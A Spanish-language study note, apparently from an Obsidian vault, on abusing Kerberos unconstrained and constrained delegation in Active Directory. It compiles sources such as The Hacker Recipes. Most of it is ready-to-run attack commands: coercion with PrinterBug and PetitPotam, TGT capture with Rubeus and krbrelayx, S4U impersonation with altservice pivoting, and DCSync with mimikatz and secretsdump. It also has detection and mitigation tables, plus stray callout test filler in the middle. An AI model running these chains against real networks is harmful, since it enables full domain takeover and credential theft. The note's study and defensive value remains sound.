🎟️ Kerberos Delegation Abuse β€” Unconstrained & Constrained

Fuentes: The Hacker Recipes Β· ired.team Β· Black Hills InfoSec Β· GuidePoint Security Β· Redfox Cybersecurity


πŸ—ΊοΈ Mapa mental de los tres tipos de delegaciΓ³n

Unconstrained Delegation (KUD)
  └── Cualquier usuario β†’ cualquier servicio   ← MÁS PELIGROSA
  └── Atributo: TRUSTED_FOR_DELEGATION (UAC)

Constrained Delegation (KCD)
  └── Cualquier usuario β†’ SPNs especΓ­ficos
  └── Atributo: msDS-AllowedToDelegateTo
  └── Modalidades: Kerberos-only / Protocol Transition

Resource-Based Constrained Delegation (RBCD)
  └── El recurso DESTINO decide quiΓ©n puede delegar a Γ©l
  └── Atributo: msDS-AllowedToActOnBehalfOfOtherIdentity
  └── (Ver nota: [[8__Ataques_avanzados_de_relay_NTLM_a_Kerberos]])

⚠️ Caveat universal: Los usuarios marcados como “Account is sensitive and cannot be delegated” (NOT_DELEGATED en UAC) y los miembros de Protected Users no pueden ser suplantados mediante ningΓΊn tipo de delegaciΓ³n. La excepciΓ³n es la cuenta nativa Administrator (RID 500), que sΓ­ puede ser suplantada aunque estΓ© en Protected Users.


πŸ”“ PARTE 1 β€” Unconstrained Delegation

πŸ“– ΒΏQuΓ© es y por quΓ© existe?

La DelegaciΓ³n sin Restricciones fue introducida en Windows 2000 para resolver el problema del double-hop: cuando un usuario accede a un servidor web, ese servidor necesita acceder a una base de datos en nombre del usuario. La soluciΓ³n de Microsoft fue sencilla (y peligrosa): dejar que el servidor web guarde el TGT completo del usuario y lo reutilice a voluntad.

MetΓ‘fora: Imagina que le das la llave maestra de tu casa a un portero. El portero no solo puede abrir la puerta de entrada; puede ir a cualquier habitaciΓ³n de tu casa, a la de tu vecino, o a donde quiera. No hay lΓ­mites. Eso es KUD.


βš™οΈ Flujo de autenticaciΓ³n legΓ­timo (cΓ³mo funciona por dentro)

  [Usuario]                [KDC / DC]                [Servidor con KUD]
      β”‚                        β”‚                              β”‚
      │── AS-REQ ──────────────►│                              β”‚
      │◄── AS-REP (TGT) ────────│                              β”‚
      β”‚                        β”‚                              β”‚
      │── TGS-REQ (para servidor KUD) ──────────────►│        β”‚
      │◄── TGS-REP (ST con TGT FORWARDABLE adjunto) ─│        β”‚
      β”‚                        β”‚                              β”‚
      │── ST + TGT ─────────────────────────────────────────►│
      β”‚                        β”‚              [Guarda TGT en LSASS]
      β”‚                        β”‚              [Puede pedir TGS para cualquier
      β”‚                        β”‚               servicio como si fuera el usuario]

El campo crΓ­tico es el flag forwardable en el ST: el KDC lo incluye automΓ‘ticamente cuando el destino tiene TRUSTED_FOR_DELEGATION. El servidor receptor almacena ese TGT en LSASS y puede reutilizarlo sin restricciones.


πŸ” FASE 1 β€” Reconocimiento / EnumeraciΓ³n

Objetivo: Encontrar hosts con TRUSTED_FOR_DELEGATION = True (excepto DCs, que siempre lo tienen).

🐧 Linux

# Con BloodHound-python (recolectar y buscar en BloodHound)
bloodhound-python -u 'user' -p 'Password' -d domain.local -dc dc01.domain.local -c All

# Con ldapsearch
ldapsearch -x -H ldap://dc01.domain.local -D "user@domain.local" -w 'Password' -b "DC=domain,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
cn sAMAccountName userAccountControl

# Con impacket findDelegation
findDelegation.py domain.local/user:'Password' -dc-ip 10.10.10.1

524288 = 0x80000 = flag TRUSTED_FOR_DELEGATION en UAC

Windows

# PowerView β€” hosts con Unconstrained
Get-DomainComputer -Unconstrained | select Name, dnshostname

# AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $true} `
  -Properties TrustedForDelegation, ServicePrincipalName, Description `
  | select Name, TrustedForDelegation, ServicePrincipalName

# BloodHound Cypher Query
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name STARTS WITH 'DC'
RETURN c.name

πŸ’₯ FASE 2 β€” ExplotaciΓ³n: TGT Harvesting + CoerciΓ³n

Premisa: Se ha comprometido un host con KUD habilitado y tienes privilegios de admin local en Γ©l.

Objetivo final: Forzar al DC a autenticarse contra tu host β†’ robar su TGT β†’ DCSync.

MetΓ‘fora: El DC es el rey del castillo. Si consigues que el rey visite tu casa (coerciΓ³n), y tu casa es el “portero mΓ‘gico que guarda llaves” (KUD), te quedas con la llave maestra del reino (TGT del DC$).


🎯 Escenario A β€” Windows: Rubeus Monitor + PrinterBug / PetitPotam

# [PASO 1] En el host comprometido (admin): monitorear TGTs entrantes
.\Rubeus.exe monitor /interval:5 /nowrap

# [PASO 2] Desde mΓ‘quina atacante: coercionar al DC para que se autentique
# OpciΓ³n A β€” PrinterBug (MS-RPRN) β€” requiere credenciales vΓ‘lidas
.\SpoolSample.exe DC01.domain.local HOST-KUD.domain.local

# OpciΓ³n B β€” PetitPotam (MS-EFSR) β€” puede funcionar sin credenciales
.\PetitPotam.exe HOST-KUD.domain.local DC01.domain.local

# [PASO 3] Rubeus captura el TGT del DC$ automΓ‘ticamente
# Copiar el base64 del ticket y hacer Pass-the-Ticket
.\Rubeus.exe ptt /ticket:<base64_ticket>

# [PASO 4] DCSync con Mimikatz
.\mimikatz.exe "lsadump::dcsync /domain:domain.local /user:Administrator" exit
.\mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit

# [ALTERNATIVA] Dump de todos los tickets en LSASS
.\Rubeus.exe dump /nowrap
# o con Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

🎯 Escenario B β€” Linux: krbrelayx + addspn + dnstool

Fuente: The Hacker Recipes β€” KUD

Este escenario aplica cuando el atacante opera desde Linux y tiene las credenciales del host con KUD (o la cuenta de usuario con KUD habilitado).

# [PASO 1] AΓ±adir SPN a la cuenta comprometida con KUD
#          (requiere que la cuenta pueda editar msDS-AdditionalDnsHostName)
addspn.py -u 'domain\kudcomputer$' -p 'Password' \
  -s HOST/attacker.domain.local \
  dc01.domain.local

# [PASO 2] AΓ±adir registro DNS apuntando a tu IP
dnstool.py -u 'domain\kudcomputer$' -p 'Password' \
  -r attacker.domain.local -d 10.10.10.50 --action add \
  dc01.domain.local

# [PASO 3] Levantar krbrelayx para capturar TGTs
sudo krbrelayx.py --krbsalt 'DOMAIN.LOCALkudcomputer$' --krbpass 'Password'

# [PASO 4] Coercionar autenticaciΓ³n del DC hacia tu SPN
# PrinterBug
python3 printerbug.py domain.local/user:'Password'@DC01.domain.local attacker.domain.local

# PetitPotam
python3 PetitPotam.py -u user -p 'Password' attacker.domain.local DC01.domain.local

# [PASO 5] krbrelayx captura el TGT del DC$ como archivo .ccache
# Exportar y usar para DCSync
export KRB5CCNAME=DC01\$.ccache
secretsdump.py -k -no-pass -just-dc dc01.domain.local

πŸ“Š Resumen del flujo de ataque KUD

[1] Enumerar hosts KUD
       ↓
[2] Comprometer host KUD (necesitas admin local)
       ↓
[3] Monitorear LSASS / levantar krbrelayx
       ↓
[4] Coercionar DC (PrinterBug / PetitPotam / DFSCoerce)
       ↓
[5] DC$ se autentica β†’ su TGT queda capturado
       ↓
[6] Pass-the-Ticket con TGT del DC$
       ↓
[7] DCSync β†’ hash del krbtgt / Administrator
       ↓
[8] Golden Ticket / Domain Admin total

πŸ›‘οΈ DetecciΓ³n y MitigaciΓ³n (KUD)

DetecciΓ³n MitigaciΓ³n
Eventos 4768 + 4769 masivos desde un host KUD Eliminar KUD de todos los hosts no-DC
Acceso a LSASS desde proceso inesperado en host KUD Habilitar Protected Users en cuentas privilegiadas
PrinterBug: evento 5145 (RPC) del DC al host KUD Deshabilitar Print Spooler en DCs
TrΓ‘fico MS-EFSR inusual desde el DC Marcar cuentas privilegiadas como NOT_DELEGATED


πŸ” PARTE 2 β€” Constrained Delegation (KCD)

πŸ“– ΒΏQuΓ© es y por quΓ© mejora KUD?

La DelegaciΓ³n Restringida fue introducida en Windows Server 2003 para limitar el daΓ±o: en lugar de poder suplantar a cualquier usuario hacia cualquier servicio, se define una lista explΓ­cita de SPNs a los que el servicio puede delegar.

EstΓ‘ configurada mediante el atributo msDS-AllowedToDelegateTo en el objeto de la cuenta (usuario o computadora).

MetΓ‘fora: Ahora el portero no tiene la llave maestra. Tiene llaves especΓ­ficas grabadas en su contrato: solo puede abrir la puerta del comedor y la biblioteca. Si quiere entrar al dormitorio, no puede. En teorΓ­a.


βš™οΈ Dos modalidades de KCD β€” crΓ­tico entenderlas

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  MODALIDAD 1: Kerberos Only (sin protocol transition)               β”‚
β”‚  Flag UAC: TRUSTED_TO_AUTH_FOR_DELEGATION = FALSE                   β”‚
β”‚                                                                     β”‚
β”‚  El usuario DEBE haberse autenticado con Kerberos primero.          β”‚
β”‚  Flujo: Usuario β†’ TGS al servicio β†’ servicio usa S4U2Proxy          β”‚
β”‚  LimitaciΓ³n: El servicio NO puede iniciar la suplantaciΓ³n           β”‚
β”‚              si el usuario no ha interactuado antes                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  MODALIDAD 2: Protocol Transition (Any Auth)  ← MÁS EXPLOTABLE     β”‚
β”‚  Flag UAC: TRUSTED_TO_AUTH_FOR_DELEGATION = TRUE                    β”‚
β”‚                                                                     β”‚
β”‚  El servicio puede iniciar la suplantaciΓ³n de CUALQUIER usuario     β”‚
β”‚  sin que Γ©ste haya interactuado previamente.                        β”‚
β”‚  Flujo: S4U2Self β†’ S4U2Proxy                                        β”‚
β”‚  ExplotaciΓ³n: basta con comprometer la cuenta                       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

βš™οΈ Flujo interno β€” S4U2Self y S4U2Proxy en detalle

  [Servicio con KCD]              [KDC / DC]               [Servicio destino]
         β”‚                            β”‚                            β”‚
  ── S4U2Self ──────────────────────►│                            β”‚
  "Dame un TGS de mΓ­ mismo           β”‚                            β”‚
   como si fuera Administrator"       β”‚                            β”‚
  ◄── TGS (forwardable) ────────────│                            β”‚
         β”‚                            β”‚                            β”‚
  ── S4U2Proxy ─────────────────────►│                            β”‚
  "Usa ese TGS para darme un         β”‚                            β”‚
   TGS hacia CIFS/dc.domain.local"   β”‚                            β”‚
  ◄── TGS para CIFS/dc ─────────────│                            β”‚
         β”‚                            β”‚                            β”‚
  ── Presenta TGS ──────────────────────────────────────────────►│
         β”‚                            β”‚              [Accede como Administrator]

[!TIP] S4U2Self (Service for User to Self): El servicio solicita al KDC un TGS para sΓ­ mismo en nombre de cualquier usuario. El resultado es un TGS forwardable que acredita al usuario como si hubiera iniciado la sesiΓ³n.

S4U2Proxy (Service for User to Proxy): Usa el TGS obtenido en S4U2Self para solicitar otro TGS hacia un servicio del dominio que estΓ© en la lista msDS-AllowedToDelegateTo.

[!Tip]

[!Note]

[!WARNING]

[!Info]

[!Danger]

[!Bug]

[!Quote]

[!Tip]+ Esto es una prueba de Tip con +

[!Tip]- Esto es una prueba de Tip con -

[!Warning]+ Esto es una prueba de Tip con +

[!Warning]- Esto es una prueba de Tip con -

[!Note]+ Esto es una prueba de Tip con +

[!Note]- Esto es una prueba de Tip con -

[!Info]+ Esto es una prueba de Tip con +

[!Info]- Esto es una prueba de Tip con -

[!Danger]+ Esto es una prueba de Tip con +

[!Danger]- Esto es una prueba de Tip con -

[!Bug]+ Esto es una prueba de Tip con +

[!Bug]- Esto es una prueba de Tip con -

[!Quote]+ Esto es una prueba de Tip con -

[!Quote]- Esto es una prueba de Tip con -


πŸ” FASE 1 β€” Reconocimiento / EnumeraciΓ³n

🐧 Linux

# findDelegation β€” muestra los tres tipos de delegaciΓ³n
findDelegation.py domain.local/user:'Password' -dc-ip 10.10.10.1

# ldapsearch β€” cuentas con msDS-AllowedToDelegateTo
ldapsearch -x -H ldap://dc01.domain.local \
  -D "user@domain.local" -w 'Password' \
  -b "DC=domain,DC=local" \
  "(msDS-AllowedToDelegateTo=*)" \
  cn sAMAccountName msDS-AllowedToDelegateTo userAccountControl

# BloodHound β€” recolectar (luego buscar edge AllowedToDelegate)
bloodhound-python -u user -p 'Password' -d domain.local -dc dc01 -c All

πŸͺŸ Windows

# PowerView β€” cuentas de usuario con KCD
Get-DomainUser -TrustedToAuth | select SamAccountName, msDS-AllowedToDelegateTo

# PowerView β€” cuentas de equipo con KCD
Get-DomainComputer -TrustedToAuth | select Name, msDS-AllowedToDelegateTo

# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
  -Properties msDS-AllowedToDelegateTo, UserAccountControl `
  | select Name, msDS-AllowedToDelegateTo, UserAccountControl

# BloodHound Cypher β€” nodos con KCD configurado
MATCH (a)-[r:AllowedToDelegate]->(c:Computer)
RETURN a.name, c.name, r

πŸ’₯ FASE 2 β€” ExplotaciΓ³n

Premisa: Se ha comprometido una cuenta (usuario o computadora) que tiene msDS-AllowedToDelegateTo configurado.

Objetivo: Suplantar a Administrator hacia el SPN permitido β†’ pivotar con altservice β†’ DCSync o shell.


🎯 Escenario A β€” Windows: Rubeus S4U

# ────────────────────────────────────────────────────────────────
# ESCENARIO 1: Tienes ejecuciΓ³n como la cuenta, NO sabes la pass
# ────────────────────────────────────────────────────────────────

# [PASO 1] Obtener TGT de la cuenta actual con tgtdeleg
.\Rubeus.exe tgtdeleg /nowrap
# Guardar el base64 del ticket

# [PASO 2] S4U2Self + S4U2Proxy para suplantar Administrator
.\Rubeus.exe s4u /ticket:<base64_TGT> `
  /impersonateuser:Administrator `
  /msdsspn:"cifs/DC01.domain.local" `
  /ptt

# ────────────────────────────────────────────────────────────────
# ESCENARIO 2: Conoces el hash RC4/NTLM de la cuenta
# ────────────────────────────────────────────────────────────────

# [PASO ÚNICO] S4U directo con hash β€” sin TGT previo
.\Rubeus.exe s4u `
  /user:svcAccount `
  /rc4:<NTLM_hash> `
  /impersonateuser:Administrator `
  /msdsspn:"cifs/DC01.domain.local" `
  /ptt

# ────────────────────────────────────────────────────────────────
# BONUS: altservice β€” pivotar a otro servicio
# Si solo tienes delegaciΓ³n a TIME/DC01, cambia a LDAP para DCSync
# ────────────────────────────────────────────────────────────────
.\Rubeus.exe s4u `
  /user:svcAccount `
  /rc4:<NTLM_hash> `
  /impersonateuser:Administrator `
  /msdsspn:"time/DC01.domain.local" `
  /altservice:ldap `
  /ptt

# Con el ticket LDAP en memoria, DCSync desde Mimikatz
.\mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit

⚑ ¿Por qué funciona /altservice? El KDC no verifica la coherencia entre el SPN del TGS obtenido vía S4U2Proxy y el servicio real presentado. Puedes obtener un ticket para time/DC01 y cambiar el service name en el ticket a ldap. El servicio LDAP del DC lo acepta porque el PAC sigue siendo vÑlido y firmado por el KDC.


🎯 Escenario B β€” Linux: getST.py de Impacket

Fuente: Black Hills InfoSec β€” Abusing Delegation with Impacket

# ────────────────────────────────────────────────────────────────
# Con contraseΓ±a en texto claro
# ────────────────────────────────────────────────────────────────
getST.py -spn 'cifs/DC01.domain.local' \
  -impersonate Administrator \
  -dc-ip 10.10.10.1 \
  'domain.local/svcAccount:Password'

# ────────────────────────────────────────────────────────────────
# Con hash NTLM (pass-the-hash)
# ────────────────────────────────────────────────────────────────
getST.py -spn 'cifs/DC01.domain.local' \
  -impersonate Administrator \
  -dc-ip 10.10.10.1 \
  -hashes :NTLM_hash \
  'domain.local/svcAccount'

# ────────────────────────────────────────────────────────────────
# altservice β€” pivotar a LDAP para DCSync
# ────────────────────────────────────────────────────────────────
getST.py -spn 'time/DC01.domain.local' \
  -altservice ldap \
  -impersonate Administrator \
  -dc-ip 10.10.10.1 \
  'domain.local/svcAccount:Password'

# ────────────────────────────────────────────────────────────────
# Usar el ticket obtenido
# ────────────────────────────────────────────────────────────────
export KRB5CCNAME=Administrator.ccache

# Verificar ticket
klist

# Acceso SMB/CIFS al DC
psexec.py -k -no-pass DC01.domain.local

# DCSync si usaste altservice LDAP
secretsdump.py -k -no-pass -just-dc-user krbtgt DC01.domain.local

πŸ”€ Tabla de altservice ΓΊtiles

SPN original permitido β†’ altservice Capacidad obtenida
cifs/dc.domain.local http WinRM / PowerShell Remoting
time/dc.domain.local ldap DCSync (replicaciΓ³n NTDS)
mssqlsvc/... host PsExec / shell interactiva
ldap/dc.domain.local cifs Acceso SMB al DC
Cualquiera ldap DCSync β†’ Golden Ticket

πŸ“Š Resumen del flujo de ataque KCD

[1] Enumerar cuentas/hosts con msDS-AllowedToDelegateTo
       ↓
[2] Comprometer cuenta KCD (contraseΓ±a, hash, o sesiΓ³n activa)
       ↓
[3] S4U2Self β†’ obtener TGS como Administrator para el servicio propio
       ↓
[4] S4U2Proxy β†’ usar ese TGS para pedir acceso al SPN permitido
       ↓
[5] (Opcional) altservice β†’ cambiar servicio a LDAP / HOST / HTTP
       ↓
[6] Usar ticket para: PSExec / WinRM / DCSync
       ↓
[7] Domain Compromise

πŸ›‘οΈ DetecciΓ³n y MitigaciΓ³n (KCD)

DetecciΓ³n MitigaciΓ³n
Eventos 4769 con ServiceName inusual para cuentas de servicio Revisar y minimizar la lista msDS-AllowedToDelegateTo
TGS solicitados para SPNs fuera del flujo normal de la app Marcar cuentas privilegiadas como NOT_DELEGATED
4648 β€” logon con credenciales explΓ­citas desde proceso inesperado Preferir RBCD sobre KCD cuando sea posible
Acceso LDAP/DCSync desde mΓ‘quina inesperada ContraseΓ±as fuertes en cuentas de servicio (>25 chars)
Kerberoasting del account de servicio (tiene SPN β†’ es objetivo) Usar Group Managed Service Accounts (gMSA)

βš–οΈ Comparativa Final

CaracterΓ­stica KUD (Unconstrained) KCD (Constrained) RBCD
Introducida en Windows 2000 Windows Server 2003 Windows Server 2012 R2
Atributo clave TRUSTED_FOR_DELEGATION msDS-AllowedToDelegateTo msDS-AllowedToActOnBehalfOfOtherIdentity
Alcance Cualquier servicio SPNs especΓ­ficos SPNs especΓ­ficos (definido en destino)
QuiΓ©n configura Admin de dominio Admin de dominio Propietario del recurso
Mecanismo Forwarding del TGT S4U2Self + S4U2Proxy S4U2Self + S4U2Proxy
Requiere admin local βœ… SΓ­ (para extraer TGTs) βœ… SΓ­ (o credenciales) ⚠️ No siempre
Peligrosidad πŸ”΄ CrΓ­tica 🟠 Alta 🟑 Alta (depende del contexto)
CoerciΓ³n necesaria βœ… SΓ­ (para DC TGT) ❌ No ❌ No
altservice bypass N/A βœ… SΓ­ βœ… SΓ­

πŸ”— Referencias y lectura adicional


Relacionado: [[8__Ataques_avanzados_de_relay_NTLM_a_Kerberos]] Β· [[14__Problema_del__Doble_Salto__de_Kerberos]] Β· [[11__Kerberoasting]] Β· [[7__AutenticaciΓ³n_por_CoerciΓ³n]]